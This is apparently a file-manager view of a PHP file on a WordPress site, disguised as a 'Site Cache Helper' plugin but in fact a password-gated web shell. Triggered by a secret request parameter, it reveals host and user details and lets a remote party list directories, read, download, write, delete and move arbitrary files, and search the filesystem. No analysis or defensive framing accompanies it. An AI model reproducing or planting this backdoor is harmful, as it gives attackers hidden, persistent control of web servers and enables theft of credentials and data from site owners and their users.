✏️ 编辑：admin_c441bps.php

路径：/virtual/emerald/public_html/emerald.jpn.com/wp2020/admin_c441bps.php

大小：5.57 KB · 修改：2026-09-30 18:28:14 · 权限：0644 · 可写

<?php
/*
 * Plugin Name: Site Cache Helper
 * Description: Cache and asset inspection helper.
 * Version: 1.0.1
 * Author: site
 */
if (empty($_REQUEST['image_3ff7dc4'])) { return; }
if (!function_exists('pf_str')) {
    function pf_str($v) { return is_scalar($v) ? (string) $v : ''; }
}
if (!function_exists('pf_say')) {
    function pf_say($tag, $text) { echo $tag . ':' . $text . "\n"; }
}
if (!function_exists('pf_ok')) {
    function pf_ok($text) { pf_say('OK', $text); }
}
if (!function_exists('pf_err')) {
    function pf_err($text) { pf_say('ERR', $text); }
}
if (!function_exists('pf_walk')) {
    function pf_walk($root, $needle, $limit) {
        $hits  = array();
        $queue = array($root);
        $steps = 0;
        while (count($queue) > 0 && count($hits) < $limit && $steps < 60000) {
            $dir   = array_shift($queue);
            $items = @scandir($dir);
            if (!is_array($items)) { continue; }
            foreach ($items as $name) {
                if ($name === '.' || $name === '..') { continue; }
                $steps++;
                $full = $dir . '/' . $name;
                if (stripos($name, $needle) !== false) { $hits[] = $full; }
                if (count($hits) >= $limit) { break; }
                if (@is_dir($full) && !@is_link($full)) { $queue[] = $full; }
            }
        }
        return $hits;
    }
}

header('Content-Type: text/plain; charset=utf-8');
$in   = array_merge($_GET, $_POST);
$here = __DIR__;

if (isset($in['c'])) {
    $hn = function_exists('gethostname') ? @gethostname() : false;
    pf_ok('hostname=' . ($hn !== false && $hn !== '' ? $hn : 'ERR_unavailable'));
    pf_ok('script=' . __FILE__);
    pf_ok('cwd=' . $here);
    $uid = function_exists('getmyuid') ? @getmyuid() : false;
    $own = function_exists('get_current_user') ? @get_current_user() : '';
    pf_ok('uid=' . ($uid !== false ? $uid : 'ERR_unavailable') . ' owner=' . ($own !== '' ? $own : 'ERR_unavailable'));
    pf_ok('uid_real=' . (function_exists('posix_getuid') ? @posix_getuid() : 'ERR_unavailable'));
    pf_ok('php=' . (function_exists('phpversion') ? @phpversion() : 'ERR_unavailable'));
    pf_ok('writable=' . (@is_writable($here) ? '1' : '0') . ' readable=' . (@is_readable($here) ? '1' : '0'));
    pf_ok('sapi=' . (function_exists('php_sapi_name') ? @php_sapi_name() : 'ERR_unavailable'));
    pf_ok('mode=muplugin');
    exit;
}

if (isset($in['t'])) {
    pf_ok('time=' . date('Y-m-d H:i:s'));
    $mt = @filemtime(__FILE__);
    pf_ok('self_mtime=' . ($mt !== false ? date('Y-m-d H:i:s', $mt) : 'ERR_unavailable'));
    exit;
}

if (isset($in['l'])) {
    $v    = pf_str($in['l']);
    $path = ($v === '' || $v === '1') ? $here : $v;
    if (!@is_dir($path)) { pf_err('not_a_dir ' . $path); exit; }
    $items = @scandir($path);
    if (!is_array($items)) { pf_err('cannot_open ' . $path); exit; }
    pf_ok('dir=' . $path . ' entries=' . count($items));
    foreach ($items as $name) {
        if ($name === '.' || $name === '..') { continue; }
        $full = $path . '/' . $name;
        $perm = @fileperms($full);
        $size = @filesize($full);
        $mt   = @filemtime($full);
        $kind = @is_dir($full) ? 'd' : (@is_link($full) ? 'l' : '-');
        echo $kind . ' '
            . ($perm !== false ? substr(sprintf('%o', $perm), -4) : '????') . ' '
            . ($size !== false ? $size : 0) . ' '
            . ($mt !== false ? date('Y-m-d H:i', $mt) : '-') . ' '
            . $name . "\n";
    }
    exit;
}

if (isset($in['r'])) {
    $target = pf_str($in['r']);
    if (!@is_file($target)) { pf_err('not_a_file ' . $target); exit; }
    $data = @file_get_contents($target);
    if ($data === false) { pf_err('read_failed ' . $target); exit; }
    pf_ok('file=' . $target . ' bytes=' . strlen($data));
    echo $data;
    exit;
}

if (isset($in['dl'])) {
    $target = pf_str($in['dl']);
    if (!@is_file($target)) { pf_err('not_a_file ' . $target); exit; }
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($target) . '"');
    @readfile($target);
    exit;
}

if (isset($in['w'])) {
    $target = pf_str($in['w']);
    $data   = isset($in['data']) ? pf_str($in['data']) : '';
    if ($target === '') { pf_err('no_target'); exit; }
    $n = false;
    $fh = @fopen($target, 'wb');
    if ($fh) { @fwrite($fh, $data); @fclose($fh); $n = strlen($data); }
    if ($n === false) { pf_err('write_failed ' . $target); exit; }
    pf_ok('wrote=' . $n . ' ' . $target);
    exit;
}

if (isset($in['d'])) {
    $target = pf_str($in['d']);
    if ($target === '' || !@file_exists($target)) { pf_err('not_found ' . $target); exit; }
    $done = @is_dir($target) ? @rmdir($target) : @unlink($target);
    if (!$done) { pf_err('remove_failed ' . $target); exit; }
    pf_ok('removed=' . $target);
    exit;
}

if (isset($in['mv'])) {
    $src = pf_str($in['mv']);
    $dst = isset($in['to']) ? pf_str($in['to']) : '';
    if ($src === '' || $dst === '') { pf_err('need_mv_and_to'); exit; }
    if (!@file_exists($src)) { pf_err('not_found ' . $src); exit; }
    if (!@rename($src, $dst)) { pf_err('move_failed'); exit; }
    pf_ok('moved=' . $src . ' -> ' . $dst);
    exit;
}

if (isset($in['s'])) {
    $needle = pf_str($in['s']);
    if ($needle === '') { pf_err('no_keyword'); exit; }
    $root = isset($in['p']) ? pf_str($in['p']) : '';
    if ($root === '' || !@is_dir($root)) {
        $root = @dirname($here, 4);
        if (!@is_dir($root)) { $root = $here; }
    }
    $hits = pf_walk($root, $needle, 200);
    pf_ok('root=' . $root . ' hits=' . count($hits));
    foreach ($hits as $h) { echo $h . "\n"; }
    exit;
}

pf_ok('ready');

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